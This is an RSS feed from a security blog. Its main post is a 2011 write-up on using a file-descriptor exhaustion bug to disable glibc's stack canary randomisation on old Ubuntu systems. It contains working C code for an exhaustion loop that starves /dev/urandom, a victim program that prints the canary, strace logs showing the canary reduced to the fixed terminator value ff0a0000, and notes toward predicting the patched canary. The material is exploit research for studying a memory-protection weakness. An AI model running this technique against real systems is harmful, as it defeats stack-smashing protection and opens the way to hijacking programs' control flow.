<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Cipher</title>
	<atom:link href="http://cipher.org.uk/feed/" rel="self" type="application/rss+xml" />
	<link>http://cipher.org.uk</link>
	<description>org.uk</description>
	<lastBuildDate>Mon, 23 Apr 2012 22:17:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='cipher.org.uk' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://0.gravatar.com/blavatar/a86b55f737d4b8aa37dbd23638d1f09c?s=96&#038;d=http%3A%2F%2Fs2.wp.com%2Fi%2Fbuttonw-com.png</url>
		<title>Cipher</title>
		<link>http://cipher.org.uk</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://cipher.org.uk/osd.xml" title="Cipher" />
	<atom:link rel='hub' href='http://cipher.org.uk/?pushpress=hub'/>
		<item>
		<title>Taking advantage of File Descriptor exhaustion bugs</title>
		<link>http://cipher.org.uk/2011/01/20/taking-advantage-of-file-descriptor-exhaustion-bugs/</link>
		<comments>http://cipher.org.uk/2011/01/20/taking-advantage-of-file-descriptor-exhaustion-bugs/#comments</comments>
		<pubDate>Thu, 20 Jan 2011 05:24:34 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Bugs]]></category>
		<category><![CDATA[exhaustion]]></category>
		<category><![CDATA[file descriptor]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://cipher.org.uk/?p=601</guid>
		<description><![CDATA[Recently I saw an email at Full Disclosure (here &#38; here?), which provides a typical File Descriptor exhaustion bug and I decided to use it as a demonstration bug for this post. There are situations in which a File Descriptor exhaustion issue can help when trying to take advantage of certain conditions (in many cases [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=601&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Recently I saw an email at Full Disclosure (<a href="http://seclists.org/fulldisclosure/2010/Nov/303">here</a> &amp; <a href="http://marc.info/?l=linux-kernel&amp;m=129055087923940&amp;w=2">here</a>?), which provides a typical File Descriptor exhaustion bug and I decided to use it as a demonstration bug for this post. There are situations in which a File Descriptor exhaustion issue can help when trying to take advantage of certain conditions (in many cases local). In most of these cases exploitation will involve some kind of race condition.</p>
<p>
The example described bellow aims in disabling a Linux security countermeasure and possibly of other OSs which implement the same type of protection in a similar way. Note that below I am demonstrating this issue in older kernel/libc versions due to changes in the way that this protection is implemented in newer versions which protects against this.</p>
<p>Environment:<br />
<code>manos@jaunty:~/p/ke$ uname -a<br />
Linux jaunty 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux<br />
</code><br />
<code>manos@jaunty:~/p/ke$ sudo aptitude show libc6<br />
Package: libc6<br />
State: installed<br />
Automatically installed: no<br />
Version: 2.9-4ubuntu6.3<br />
Priority: required<br />
Section: libs<br />
Maintainer: Ubuntu Core developers<br />
Uncompressed Size: 11.2M<br />
Depends: libgcc1, findutils (&gt;= 4.4.0-2ubuntu2)<br />
Suggests: locales, glibc-doc, libc6-i686<br />
Conflicts: libterm-readline-gnu-perl (&lt; 1.15-2), tzdata (&lt; 2007k-1),<br />
           tzdata-etch, nscd (&lt; 2.9)<br />
Replaces: belocs-locales-bin<br />
Provides: glibc-2.9-1<br />
Description: GNU C Library: Shared libraries<br />
 Contains the standard libraries that are used by nearly all programs on the<br />
 system. This package includes shared versions of the standard C library and the<br />
 standard math library, as well as many others.<br />
</code>*This glibc version was purposely picked.</p>
<p><code>manos@jaunty:~/p/ke$ gcc -v<br />
..<br />
gcc version 4.3.3 (Ubuntu 4.3.3-5ubuntu4) </code></p>
<p>First lets print out the posted poc code:<br />
<pre class="brush: cpp; gutter: false;">
#include &lt;sys/socket.h&gt;
#include &lt;sys/un.h&gt;

static int send_fd (int unix_fd, int fd)
{
struct msghdr msgh;
struct cmsghdr *cmsg;
char buf[CMSG_SPACE (sizeof (fd))];
memset (&amp;msgh, 0, sizeof (msgh));


memset (buf, 0, sizeof (buf));

msgh.msg_control = buf;
msgh.msg_controllen = sizeof (buf);

cmsg = CMSG_FIRSTHDR (&amp;msgh);
cmsg-&gt;cmsg_len = CMSG_LEN (sizeof (fd));
cmsg-&gt;cmsg_level = SOL_SOCKET;


cmsg-&gt;cmsg_type = SCM_RIGHTS;

msgh.msg_controllen = cmsg-&gt;cmsg_len;

memcpy (CMSG_DATA (cmsg), &amp;fd, sizeof (fd));
return sendmsg (unix_fd, &amp;msgh, 0);
}

int main ()
{

int fd[2], ff[2];

int target;
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
return 1;
for (;;)
{
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
return 2;
send_fd (ff[0], fd[0]);
send_fd (ff[0], fd[1]);


close (fd[1]);
close (fd[0]);
fd[0] = ff[0];
fd[1] = ff[1];
}
} 
</pre><br />
Check <a href="http://linux.die.net/man/2/socketpair">here</a> and <a href="http://marc.info/?l=linux-netdev&amp;m=129055394027555&amp;w=2">here</a> if you want to know what is happening.</p>
<p>Next, we are moving to the targeted protection:</p>
<p>file: glibc-2.9/sysdeps/unix/sysv/linux/dl-osinfo.h<br />
<pre class="brush: cpp; gutter: false;">
..
static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void)
{
  uintptr_t ret;
#ifdef ENABLE_STACKGUARD_RANDOMIZE
  int fd = __open (&quot;/dev/urandom&quot;, O_RDONLY);
  if (fd &gt;= 0)
    {
      ssize_t reslen = __read (fd, &amp;ret, sizeof (ret));
      __close (fd);
      if (reslen == (ssize_t) sizeof (ret))
	return ret;
    }
#endif
  ret = 0;
  unsigned char *p = (unsigned char *) &amp;ret;
  p[sizeof (ret) - 1] = 255;
  p[sizeof (ret) - 2] = '\n';
  return ret;
}  
..
</pre></p>
<p>It is pretty obvious what our target is. Just in case you didn&#8217;t see it, we want to use our file exhaustion bug and disable the ENABLE_STACKGUARD_RANDOMIZE part of the code and leave only the terminator value (aka ff0a0000) which in certain situations can be overwritten and secure us EIP control.
</p>
<p>we want this unreachable :<br />
<pre class="brush: cpp; gutter: false;">
  if (fd &gt;= 0)
    {
      ssize_t reslen = __read (fd, &amp;ret, sizeof (ret));
      __close (fd);
      if (reslen == (ssize_t) sizeof (ret))
	return ret;
    }
</pre></p>
<p>
We want fd to return something less than 0. To increase our chances of doing this we are going to modify a little bit our FD exhaustion code : </p>
<p><pre class="brush: cpp; gutter: false;">
#include &lt;sys/socket.h&gt;
#include &lt;sys/un.h&gt;         
#include &lt;stdio.h&gt; 
#include &lt;string.h&gt;
#include &lt;stddef.h&gt;   
      
//return file-nr array - exit's when there are not enough File Descriptors     
int* nr()
{
	char line [100]; 
	FILE *filenr;
	if((filenr = fopen(&quot;/proc/sys/fs/file-nr&quot;, &quot;r&quot;)) == NULL){printf(&quot;\nOvershoot FDs - exiting\n&quot;);exit(0);}   
	fgets ( line, sizeof line, filenr );                                 
	fclose(filenr); 
	int out[3];
	sscanf(line, &quot;%d %d %d&quot;, &amp;out[0],&amp;out[1],&amp;out[2]);	
return out;
}   

static int send_fd (int unix_fd, int fd)
{
	  struct msghdr msgh;
	  struct cmsghdr *cmsg;
	  char buf[CMSG_SPACE (sizeof (fd))];
	  memset (&amp;msgh, 0, sizeof (msgh));
	  memset (buf, 0, sizeof (buf));
	  msgh.msg_control = buf;
	  msgh.msg_controllen = sizeof (buf);
	  cmsg = CMSG_FIRSTHDR (&amp;msgh);
	  cmsg-&gt;cmsg_len = CMSG_LEN (sizeof (fd));
	  cmsg-&gt;cmsg_level = SOL_SOCKET;
	  cmsg-&gt;cmsg_type = SCM_RIGHTS;
	  msgh.msg_controllen = cmsg-&gt;cmsg_len;
	  memcpy (CMSG_DATA (cmsg), &amp;fd, sizeof (fd));
	  return sendmsg (unix_fd, &amp;msgh, 0);   
}    



int crash_loop(int loop) 
{
	
 int fd[3], ff[3];
 int count=0;

  while (count&lt;loop)                         
  {  
	
	//Set FD lower limit for shooting out Canary          
	int *in = nr();
	int c=in[0],i=in[1],l=in[2]; 

		if (l-c&lt;=80) 
		{
		system(&quot;strace -x -e trace=read,open ./m&quot;); 
		}              
		    
    if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
    return 2;  	
    send_fd (ff[0], fd[0]);
    send_fd (ff[0], fd[1]);
    close (fd[1]);
    close (fd[0]);
    fd[0] = ff[0];
    fd[1] = ff[1];                        
	count++;
  }	
}

int main (int argc, char *argv[])
{    
	printf (&quot;Start Exhaustion Loop\n&quot;);  

    while (1)
		{  
	    	crash_loop(1);
        	}
} 

</pre></p>
<p>
What we added is some control over the loop and nr() which probes /proc/sys/fs/file-nr and gets the current used FDs and the system&#8217;s FD limit. Then we take this array and we set the lower limit of free file descriptors before attempting to &#8220;lock&#8221; access to /dev/urandom. Note that since this process is going to be un-killable we want it to stop at the point where we have no other free descriptors, hence we &#8220;exit&#8221; when we can&#8217;t open /proc/sys/fs/file-nr.  We execute our victim application using strace, as we want to see all the system calls (e.g. open, read). *Note that the use of usleep might come handy if we want to stabilise our free FDs to a certain number, since the method described below is likely to be used in a waiting stabilising process form rather than executing multiple times our target program as described here.
</p>
<p>Now let&#8217;s look our victim application :<br />
<pre class="brush: cpp; gutter: false;">
#include &lt;stdint.h&gt;
#include &lt;stdio.h&gt;


int main(int argc, char *argv[]) 

  	{   //STACK_CHK_GUARD  -  i386    (stackguard-macros.h)    
		uintptr_t x; 
		asm (&quot;movl %%gs:0x14, %0&quot; : &quot;=r&quot; (x));
		fprintf(stderr, &quot;Cookie [%%gs:0x14=%0lx]\n\n&quot;,x)    ; 
	}
</pre><br />
We simply take the canary from %gs:0&#215;14 and we print it out. If we execute it with strace we get the following : </p>
<p><code>brk(0)                                  = 0x8b3e000<br />
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)<br />
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8000000<br />
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)<br />
open("/etc/ld.so.cache", O_RDONLY)      = 3<br />
fstat64(3, {st_mode=S_IFREG|0644, st_size=50808, ...}) = 0<br />
mmap2(NULL, 50808, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ff3000<br />
close(3)                                = 0<br />
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)<br />
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\.."..., 512) = 512<br />
fstat64(3, {st_mode=S_IFREG|0755, st_size=1442180, ...}) = 0<br />
mmap2(NULL, 1451632, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e90000<br />
mprotect(0xb7fec000, 4096, PROT_NONE)   = 0<br />
mmap2(0xb7fed000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15c) = 0xb7fed000<br />
mmap2(0xb7ff0000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7ff0000<br />
close(3)                                = 0<br />
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e8f000<br />
set_thread_area({entry_number:-1 -&gt; 6, base_addr:0xb7e8f6c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0<br />
open("/dev/urandom", O_RDONLY)          = 3<br />
read(3, "\xc9\x6e\xa8"..., 3)           = 3<br />
close(3)                                = 0<br />
mprotect(0xb7fed000, 8192, PROT_READ)   = 0<br />
mprotect(0x8049000, 4096, PROT_READ)    = 0<br />
mprotect(0xb801f000, 4096, PROT_READ)   = 0<br />
munmap(0xb7ff3000, 50808)               = 0<br />
write(2, "Cookie [%gs:0x14=a86ec900]\n\n"..., 28Cookie [%gs:0x14=a86ec900]) = 28<br />
exit_group(28)                         = ?</code></p>
<p>We can clearly see that : </p>
<p><code>open("/dev/urandom", O_RDONLY)          = 3<br />
read(3, "\xc9\x6e\xa8"..., 3)           = 3</code></p>
<p>and our canary is a86ec900 (little endian + 1 null byte)</p>
<p>Now that we have everything set let&#8217;s see what happens when we execute our code: </p>
<p><code>manos@jaunty:~/p/ke$./pp&amp;<br />
Start Exhaustion Loop<br />
.<br />
.<br />
.<br />
open("/etc/ld.so.cache", O_RDONLY)      = 3<br />
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00....., 512) = 512<br />
open("/dev/urandom", O_RDONLY)          = 3<br />
read(3, "\x04\xe8\x8e"..., 3)           = 3<br />
Cookie [%gs:0x14=8ee80400]<br />
open("/etc/ld.so.cache", O_RDONLY)      = 0<br />
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 0<br />
read(0, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x0.."..., 512) = 512<br />
open("/dev/urandom", O_RDONLY)          = 0<br />
read(0, "ATX"..., 3)                    = 3<br />
Cookie [%gs:0x14=58544100]<br />
open("/etc/ld.so.cache", O_RDONLY)      = 3<br />
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03.."..., 512) = 512<br />
<strong>open("/dev/urandom", O_RDONLY)          = -1 ENFILE (Too many open files in system)<br />
Cookie [%gs:0x14=a967000]</strong></code><br />
<code>Overshoot FDs - exiting</code></p>
<p>As we can see, after some executions we managed to block ENABLE_STACKGUARD_RANDOMIZE with an ENFILE error and jump straight after the if statement. Clearly we should have seen ff0a0000 here. After some more tries we observe the following canary values (for fd =-1) : </p>
<p><code>..<br />
0xe8537000<br />
0x1c0d7000<br />
0x146c7000<br />
0xe8b0f000<br />
0x1d487000<br />
0x13d2f000<br />
0x15caf000<br />
 0x7c3f000<br />
0xe1b47000<br />
 0x6e77000<br />
0xe5a47000<br />
0x1ab7f000<br />
0xf4237000<br />
0x1978f000<br />
0xe584f000<br />
 0x5287000<br />
0x18de7000<br />
 0xb517000<br />
0x1311f000<br />
0xf1f47000<br />
 0x310f000<br />
0xfe0b7000<br />
0xf7ccf000<br />
0xff2ff000<br />
0xf8d07000<br />
 0x6e77000<br />
0xf35ef000<br />
0xf0f07000<br />
0xe21af000<br />
0xf1b57000<br />
0xb71f000<br />
0x1c0d7000<br />
<strong>0xe9f5f000<br />
0xe832f000<br />
0xe8f1f000<br />
0xed26f000<br />
0xee4b7000</strong><br />
0x83cf000<br />
0xeb1e7000<br />
0xc0c7000<br />
0xf9f4f000<br />
..</code></p>
<p>Some modification is happening on the terminator canary.</p>
<p>If we get libc6 along with glibc_2.9-4ubuntu6.3.diff and inspect the patch, we see the following lines added within dl-osinfo.h : </p>
<p><pre class="brush: cpp; gutter: false;">
+@@ -77,5 +80,31 @@
+   unsigned char *p = (unsigned char *) &amp;ret;
+   p[sizeof (ret) - 1] = 255;
+   p[sizeof (ret) - 2] = '\n';
++#ifdef HP_TIMING_NOW
++  hp_timing_t hpt;
++  HP_TIMING_NOW (hpt);
++  hpt = (hpt &amp; 0xffff) &lt;&lt; 8;
++  ret ^= hpt;
++#endif
++  uintptr_t stk;
++  /* Avoid GCC being too smart.  */
++  asm (&quot;&quot; : &quot;=r&quot; (stk) : &quot;r&quot; (p));
++  stk &amp;= 0x7ffff0;
++#if __BYTE_ORDER == __LITTLE_ENDIAN
++  stk &lt;&lt;= (__WORDSIZE - 23);
++#elif __WORDSIZE == 64
++  stk &lt;&lt;= 31;
++#endif
++  ret ^= stk;
++  /* Avoid GCC being too smart.  */
++  p = (unsigned char *) &amp;errno;
++  asm (&quot;&quot; : &quot;=r&quot; (stk) : &quot;r&quot; (p));
++  stk &amp;= 0x7fff00;
++#if __BYTE_ORDER == __LITTLE_ENDIAN
++  stk &lt;&lt;= (__WORDSIZE - 29);
++#else
++  stk &gt;&gt;= 8;
++#endif
++  ret ^= stk;
+   return ret; ;      
</pre></p>
<p>This patch is XORing the value of ret (terminator value) with the current CPU tick counter (taken from rdtsc). Then the array&#8217;s (p) address is used (as additional entropy) and the rest can be replicated by us, so the patch adds some fair and cheap trickery (<a href="http://www.mail-archive.com/debian-glibc@lists.debian.org/msg42655.html">poor man&#8217;s randomisation</a>) &#8211; *while I was writing this post, <a href="http://vexillium.org/dl.php?/Windows_Kernel-mode_GS_Cookies_subverted.pdf">this</a> was published, which shows that windows kernel mode canary generation is similar to the above.<br />
</p>
<p>To make sure that a glibc version without the stack-guard-quick-randomization.diff applied is giving ff0a0000 (even though we can confirm this with strace), we recompile glibc without this patch. This will save us some time of looking around to find a distro without this patch applied (we just comment out all XOR operations).</p>
<p>So lets run pp again :<br />
<code>manos@jaunty:~/p/ke$./pp&amp;<br />
Start Exhaustion Loop<br />
.<br />
.<br />
.<br />
[b80a70d4] open("/etc/ld.so.cache", O_RDONLY) = 0<br />
[b80a70d4] open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 0<br />
[b80a7154] read(0, "\x7f\x45\x4c\x46\x01\x01\x01\x00.."..., 512) = 512<br />
[b80a70d4] open("/dev/urandom", O_RDONLY) = 0<br />
[b80a7154] read(0, "\x17\x7f\x77"..., 3) = 3<br />
Cookie [%gs:0x14=777f1700]<br />
[b7f7e0d4] open("/etc/ld.so.cache", O_RDONLY) = 3<br />
[b7f7e0d4] open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
[b7f7e154] read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\..."..., 512) = 512<br />
[b7f7e0d4] open("/dev/urandom", O_RDONLY) = 3<br />
[b7f7e154] read(3, "\x70\xec\x1e"..., 3) = 3<br />
Cookie [%gs:0x14=1eec7000]<br />
[b80f10d4] open("/etc/ld.so.cache", O_RDONLY) = 0<br />
[b80f10d4] open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 0<br />
[b80f1154] read(0, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00..."..., 512) = 512<br />
[b80f10d4] open("/dev/urandom", O_RDONLY) = 0<br />
[b80f1154] read(0, "\x64\x95\xb7"..., 3) = 3<br />
Cookie [%gs:0x14=b7956400]<br />
[b808a0d4] open("/etc/ld.so.cache", O_RDONLY) = 3<br />
[b808a0d4] open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
[b808a154] read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00..."..., 512) = 512<br />
[b808a0d4] open("/dev/urandom", O_RDONLY) = -1 ENFILE (Too many open files in system)<br />
<strong>Cookie [%gs:0x14=ff0a0000]</strong></code><br />
<code>Overshoot FDs - exiting<br />
</code><br />
<strong>We are now certain that a simple File Descriptor exhaustion bug can assist in disabling canary stack randomisation.</strong> It is worth mentioning that /dev/urandom was dropped mainly on performance and not security implications of FD hijacking or shortage. </p>
<p>As this post is focused on disabling the ENABLE_STACKGUARD_RANDOMIZE we are not going to analyse ways of guessing/determing  stack-guard-quick-randomization.diff entropy points, however going back to the patched version and based solely on visual canary value observations, we can see that we significantly reduced the canary space from 16777215  to almost 65535. <strong>rdtsc</strong> can be predicted with some decent accuracy in a low/medium usage uniprocessor systems, during non-context switched execution, but we save this for another time.
</p>
<p>
Below is a simple patch for strace &#8211; which prints rdtsc at each &#8220;syscal exit&#8221; (trace_syscall_exiting) &#8211; <em>It is not accurate but it can be used for roughly observing tick jumps</em></p>
<p><pre class="brush: cpp; gutter: false;">
--- syscall.c
+++ syscall.c
@@ -109,7 +109,7 @@
 #define TN TRACE_NETWORK
 #define TP TRACE_PROCESS
 #define TS TRACE_SIGNAL
-
+#define HP_TIMING_NOW(Var)	__asm__ __volatile__ (&quot;rdtsc&quot; : &quot;=A&quot; (Var))
 static const struct sysent sysent0[] = {
 #include &quot;syscallent.h&quot;
 };
@@ -2520,7 +2520,8 @@
 			(long) tv.tv_sec, (long) tv.tv_usec);
 	}
 	printtrailer();
-
+	HP_TIMING_NOW (hpt);
+	tprintf(&quot; rdtsc : %lld   &quot;,hpt );
 	dumpio(tcp);
 	if (fflush(tcp-&gt;outf) == EOF)
 		return -1;
</pre></p>
<p>The output of strace with the rdtsc out is :<br />
<code>execve("./m", ["./m"], [/* 20 vars */]) = 0<br />
		 rdtsc : 170812617327520   brk(0)                                  = 0x9a62000<br />
		 rdtsc : 170812617944640   access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)<br />
		 rdtsc : 170812618580380   mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8083000<br />
		 rdtsc : 170812618926180   access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)<br />
		 rdtsc : 170812619351780   open("/etc/ld.so.cache", O_RDONLY)      = 3<br />
		 rdtsc : 170812619758760   fstat64(3, {st_mode=S_IFREG|0644, st_size=50808, ...}) = 0<br />
		 rdtsc : 170812620131160   mmap2(NULL, 50808, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb8076000<br />
		 rdtsc : 170812620421100   close(3)                                = 0<br />
		 rdtsc : 170812620785520   access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)<br />
		 rdtsc : 170812621126000   open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3<br />
		 rdtsc : 170812621530320   read(3, "\177ELF\1\1\1\3\3\1\320h\1004"..., 512) = 512<br />
		 rdtsc : 170812621830900   fstat64(3, {st_mode=S_IFREG|0755, st_size=1442180, ...}) = 0<br />
		 rdtsc : 170812622221920   mmap2(NULL, 1451632, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7f13000<br />
		 rdtsc : 170812622559740   mprotect(0xb806f000, 4096, PROT_NONE)   = 0<br />
		 rdtsc : 170812622852340   mmap2(0xb8070000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15c) = 0xb8070000<br />
		 rdtsc : 170812623144940   mmap2(0xb8073000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb8073000<br />
		 rdtsc : 170812623490740   close(3)                                = 0<br />
		 rdtsc : 170812623831220   mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f12000<br />
		 rdtsc : 170812624230220   set_thread_area({entry_number:-1 -&gt; 6, base_addr:0xb7f126c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0<br />
		 rdtsc : 170812624568040   open("/dev/urandom", O_RDONLY)          = 3<br />
		 rdtsc : 170812624900540   read(3, "\247\33'", 3)                  = 3<br />
		 rdtsc : 170812625185160   close(3)                                = 0<br />
		 rdtsc : 170812625453820   mprotect(0xb8070000, 8192, PROT_READ)   = 0<br />
		 rdtsc : 170812626110840   mprotect(0x8049000, 4096, PROT_READ)    = 0<br />
		 rdtsc : 170812626430040   mprotect(0xb80a2000, 4096, PROT_READ)   = 0<br />
		 rdtsc : 170812626757220   munmap(0xb8076000, 50808)               = 0<br />
		 rdtsc : 170812627081740   write(2, "\nUSAGE: 1 (print Canary), 2 (ter"..., 52<br />
		USAGE: 1 (print Canary), 2 (terminator owerwrite)) = 52<br />
		 rdtsc : 170812627674920   exit_group(52)                          = ?<br />
</code>
</p>
<p><font color="green">For other possible FD exhaustion targets you can look <a href="http://www.google.com/codesearch?hl=en&amp;lr=&amp;q=lang%3AC+if%5C%28fd%3E%3D0&amp;sbtn=Search">here</a></font>.</p>
<p>
I didn&#8217;t explain some things since they have been discussed before, so if you have unanswered questions have a look below  :</p>
<li><a href="http://www.trl.ibm.com/projects/security/ssp/">http://www.trl.ibm.com/projects/security/ssp/</a></li>
<li><a href="http://www.phrack.org/issues.html?issue=67&amp;id=13">http://www.phrack.org/issues.html?issue=67&amp;id=13 </a></li>
<li><a href="http://sources.redhat.com/ml/libc-alpha/2008-10/msg00016.html">http://sources.redhat.com/ml/libc-alpha/2008-10/msg00016.html</a></li>
<li><a href="http://cwe.mitre.org/data/definitions/769.html">http://cwe.mitre.org/data/definitions/769.html</a></li>
<li><a href="http://en.wikipedia.org/wiki/Time_Stamp_Counter">http://en.wikipedia.org/wiki/Time_Stamp_Counter</a></li>
<li><a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=511811">http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=511811</a></li>
<li><a href="https://bugs.launchpad.net/ubuntu/+source/glibc/+bug/275493">https://bugs.launchpad.net/ubuntu/+source/glibc/+bug/275493</a></li>
<li><a href="http://sourceware.org/bugzilla/show_bug.cgi?id=10149">http://sourceware.org/bugzilla/show_bug.cgi?id=10149</a></li>
<li><a href="http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/">http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/</a></li>
<li><a href="http://census-labs.com/news/2009/01/21/static-ssp-canary-debian-libc6/">http://census-labs.com/news/2009/01/21/static-ssp-canary-debian-libc6/</a></li>
<br /> Tagged: <a href='http://cipher.org.uk/tag/bugs/'>Bugs</a>, <a href='http://cipher.org.uk/tag/exhaustion/'>exhaustion</a>, <a href='http://cipher.org.uk/tag/file-descriptor/'>file descriptor</a>, <a href='http://cipher.org.uk/tag/linux/'>linux</a>, <a href='http://cipher.org.uk/tag/security/'>Security</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/601/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/601/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/601/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=601&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2011/01/20/taking-advantage-of-file-descriptor-exhaustion-bugs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>
	</item>
		<item>
		<title>Read registers with ruby</title>
		<link>http://cipher.org.uk/2009/08/19/read-registers-with-ruby/</link>
		<comments>http://cipher.org.uk/2009/08/19/read-registers-with-ruby/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 18:04:28 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[module]]></category>
		<category><![CDATA[registers]]></category>
		<category><![CDATA[ruby]]></category>

		<guid isPermaLink="false">http://cipher.org.uk/?p=450</guid>
